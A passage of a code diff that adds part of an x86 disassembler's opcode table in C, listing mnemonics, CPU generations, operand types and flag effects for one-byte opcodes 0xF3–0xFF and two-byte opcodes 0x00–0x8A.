+ { PREFIX }, /* 0xF3 */
+ { NOGROUP, CPU_I386, ITYPE_HALT, "hlt", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xF4 */
+ { NOGROUP, CPU_I386, ITYPE_TOGCF, "cmc", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_CF_TOG, IGNORED }, /* 0xF5 */
+ { X86_Group_3_F6, GROUP }, /* 0xF6 Eb */
+ { X86_Group_3_F7, GROUP }, /* 0xF7 Ev */
+ { NOGROUP, CPU_I386, ITYPE_CLEARCF, "clc", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_CF_CLR, NOACTION, IGNORED }, /* 0xF8 */
+ { NOGROUP, CPU_I386, ITYPE_SETCF, "stc", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_CF_SET, NOACTION, IGNORED }, /* 0xF9 */
+ { NOGROUP, CPU_I386, ITYPE_CLEARIF, "cli", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_IF_CLR, NOACTION, IGNORED }, /* 0xFA */
+ { NOGROUP, CPU_I386, ITYPE_SETIF, "sti", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_IF_SET, NOACTION, IGNORED }, /* 0xFB */
+ { NOGROUP, CPU_I386, ITYPE_CLEARDF, "cld", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_DF_CLR, NOACTION, IGNORED }, /* 0xFC */
+ { NOGROUP, CPU_I386, ITYPE_SETDF, "std", { OPTYPE_FLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_DF_SET, NOACTION, IGNORED }, /* 0xFD */
+ { X86_Group_4, GROUP }, /* 0xFE */
+ { X86_Group_5, GROUP }, /* 0xFF */
+};
+
+X86_OPCODE X86_Opcodes_2[0x100] = // 2 byte opcodes
+{
+ { X86_Group_6, GROUP }, /* 0x00 */
+ { X86_0F01_ModRM, EXT_MODRM }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lar", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lsl", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { X86_Opcode_0F05, EXT_64 }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "clts", { OPTYPE_CR0 | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_SYSCALLRET, "sysret", { OPTYPE_STAR_MSR | OP_MSR | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+ // 0F 07 could also be this undocumented instruction on older CPUs:
+ // { NOGROUP, CPU_I386, ITYPE_SYSTEM, "loadall", { AMODE_Y | OPTYPE_cpu | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+ { NOGROUP, CPU_I486, ITYPE_SYSTEM, "invd", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x08 */
+ { NOGROUP, CPU_I486, ITYPE_SYSTEM, "wbinvd", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x09 */
+ { NOINSTR }, /* 0x0A */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_INVALID, "undef" /* aka UD2 */, NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x0B */
+ { NOINSTR }, /* 0x0C */
+ { X86_Group_P, GROUP }, /* 0x0D */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "femms", { OPTYPE_FPU_TAG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x0E */
+ { X86_3DNOW_0F, EXT_SUFFIX(AMODE_P | OPTYPE_q, AMODE_Q | OPTYPE_q, 0) }, /* 0x0F */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movups", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x10 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movups", { AMODE_W | OPTYPE_ps | OP_DST, AMODE_V | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x11 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movlps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x12 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movlps", { AMODE_M | OPTYPE_q | OP_DST, AMODE_V | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x13 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "unpcklps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x14 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "unpckhps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x15 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movhps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x16 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movhps", { AMODE_M | OPTYPE_q | OP_DST, AMODE_V | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x17 */
+ { X86_Group_17, GROUP }, /* 0x18 */
+ { NOINSTR }, /* 0x19 */
+ { NOINSTR }, /* 0x1A */
+ { NOINSTR }, /* 0x1B */
+ { NOINSTR }, /* 0x1C */
+ { NOINSTR }, /* 0x1D */
+ { NOINSTR }, /* 0x1E */
+ { NOINSTR }, /* 0x1F */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_R | OPTYPE_dq | OP_DST, AMODE_C | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x20 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_R | OPTYPE_dq | OP_DST, AMODE_D | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x21 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_C | OPTYPE_dq | OP_DST, AMODE_R | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x22 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_D | OPTYPE_dq | OP_DST, AMODE_R | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x23 */
+ { NOINSTR }, /* 0x24 */
+ //{ NOGROUP, CPU_I486, ITYPE_MOV, "mov", { AMODE_R | OPTYPE_d | OP_DST, AMODE_T | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x24 */
+ { NOINSTR }, /* 0x25 */
+ { NOINSTR }, /* 0x26 */
+ //{ NOGROUP, CPU_I486, ITYPE_MOV, "mov", { AMODE_T | OPTYPE_d | OP_DST, AMODE_R | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x26 */
+ { NOINSTR }, /* 0x27 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movaps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x28 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movaps", { AMODE_W | OPTYPE_ps | OP_DST, AMODE_V | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x29 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvtpi2ps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x2A */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MOV, "movntps", { AMODE_M | OPTYPE_o | OP_DST, AMODE_V | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x2B */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvttps2pi", { AMODE_P | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x2C */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvtps2pi", { AMODE_P | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x2D */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_CMP, "ucomiss", { AMODE_V | OPTYPE_ss | OP_SRC, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_CF_MOD | FLAG_PF_MOD | FLAG_OF_CLR | FLAG_SF_CLR | FLAG_AF_CLR, NOACTION, IGNORED }, /* 0x2E */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_CMP, "comiss", { AMODE_V | OPTYPE_ps | OP_SRC, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_CF_MOD | FLAG_PF_MOD | FLAG_OF_CLR | FLAG_SF_CLR | FLAG_AF_CLR, NOACTION, IGNORED }, /* 0x2F */
+ { NOGROUP, CPU_PENTIUM, ITYPE_SYSTEM, "wrmsr", { OPTYPE_REG_ECX | OP_MSR | OP_DST, OPTYPE_EDX_HI_EAX_LO | OP_SRC, 0 } , NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x30 */
+ { NOGROUP, CPU_PENTIUM, ITYPE_SYSTEM, "rdtsc", { OPTYPE_EDX_HI_EAX_LO | OP_DST, OPTYPE_TSC | OP_MSR | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x31 */
+ { NOGROUP, CPU_PENTIUM, ITYPE_SYSTEM, "rdmsr", { OPTYPE_EDX_HI_EAX_LO | OP_DST, OPTYPE_REG_ECX | OP_MSR | OP_SRC, 0 } , NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x32 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_OTHER, "rdpmc", { OPTYPE_EDX_HI_EAX_LO | OP_DST, OPTYPE_REG_ECX | OP_SYS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x33 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSCALL, "sysenter", { OPTYPE_CS_MSR | OP_MSR | OP_SRC, OPTYPE_EIP_MSR | OP_MSR | OP_SRC, OPTYPE_ESP_MSR | OP_MSR | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x34 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSCALLRET, "sysexit", { OPTYPE_CS_MSR | OP_MSR | OP_SRC, OPTYPE_EIP_MSR | OP_MSR | OP_SRC, OPTYPE_ESP_MSR | OP_MSR | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x35 */
+ { NOINSTR }, /* 0x36 */
+ { NOINSTR }, /* 0x37 */
+ { NOINSTR }, /* 0x38 */
+ { NOINSTR }, /* 0x39 */
+ { NOINSTR }, /* 0x3A */
+ { NOINSTR }, /* 0x3B */
+ { NOINSTR }, /* 0x3C */
+ { NOINSTR }, /* 0x3D */
+ { NOINSTR }, /* 0x3E */
+ { NOINSTR }, /* 0x3F */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovo", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_O, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x40 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovno", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_NO, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x41 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovc", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_C, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x42 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovnc", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_NC, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x43 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovz", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_Z, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x44 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovnz", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_NZ, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x45 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovbe", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_BE, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x46 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmova", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_A, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x47 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovs", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_S, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x48 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovns", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_NS, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x49 */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovpe", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_PE, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4A */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovpo", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_PO, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4B */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovl", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_L, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4C */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovge", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_GE, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4D */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovle", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_LE, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4E */
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_MOVCC, "cmovg", { AMODE_G | OPTYPE_v | OP_COND_DST, AMODE_E | OPTYPE_v | OP_COND_SRC, 0 }, COND_G, NOCHANGE, OP1_DST | OP2_SRC, NOACTION }, /* 0x4F */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "movmskps", { AMODE_G | OPTYPE_d | OP_DST, AMODE_VR | OPTYPE_ps| OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x50 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "sqrtps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x51 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "rsqrtps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x52 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "rcpps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x53 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_AND, "andps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x54 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_AND, "andnps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x55 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_OR, "orps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x56 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_XOR, "xorps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x57 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_ADD, "addps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x58 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_MUL, "mulps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x59 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtps2pd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5A */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtdq2ps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5B */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_SUB, "subps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5C */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "minps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5D */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_DIV, "divps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5E */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "maxps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5F */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpcklbw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x60 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpcklwd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x61 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpckldq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x62 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "packsswb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x63 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpgtb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x64 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpgtw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x65 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpgtd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x66 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "packuswb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x67 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpckhbw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x68 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpckhwd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x69 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "punpckhdq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_d | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x6A */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "packssdw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x6B */
+ { NOINSTR }, /* 0x6C */
+ { NOINSTR }, /* 0x6D */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MOV, "movd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_E | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x6E */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MOV, "movq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x6F */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "pshufw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x70 */
+ { X86_Group_13, GROUP }, /* 0x71 */
+ { X86_Group_14, GROUP }, /* 0x72 */
+ { X86_Group_15, GROUP }, /* 0x73 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpeqb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x74 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpeqw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x75 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_CMP, "pcmpeqd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x76 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "emms", { OPTYPE_FPU_TAG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x77 */
+ { NOINSTR }, /* 0x78 */
+ { NOINSTR }, /* 0x79 */
+ { NOINSTR }, /* 0x7A */
+ { NOINSTR }, /* 0x7B */
+ { NOINSTR }, /* 0x7C */
+ { NOINSTR }, /* 0x7D */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MOV, "movd", { AMODE_E | OPTYPE_dq | OP_DST, AMODE_P | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x7E */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX_MOV, "movq", { AMODE_Q | OPTYPE_q | OP_DST, AMODE_P | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x7F */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jo", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_O, NOCHANGE, OP1_DST, NOACTION }, /* 0x80 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jno", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NO, NOCHANGE, OP1_DST, NOACTION }, /* 0x81 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jb", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_C, NOCHANGE, OP1_DST, NOACTION }, /* 0x82 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jnb", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NC, NOCHANGE, OP1_DST, NOACTION }, /* 0x83 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jz", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_Z, NOCHANGE, OP1_DST, NOACTION }, /* 0x84 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jnz", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NZ, NOCHANGE, OP1_DST, NOACTION }, /* 0x85 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jbe", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_BE, NOCHANGE, OP1_DST, NOACTION }, /* 0x86 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "ja", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_A, NOCHANGE, OP1_DST, NOACTION }, /* 0x87 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "js", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_S, NOCHANGE, OP1_DST, NOACTION }, /* 0x88 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jns", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NS, NOCHANGE, OP1_DST, NOACTION }, /* 0x89 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jpe", { AMODE_J | OPTYPE_z | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_PE, NOCHANGE, OP1_DST, NOACTION }, /* 0x8A */
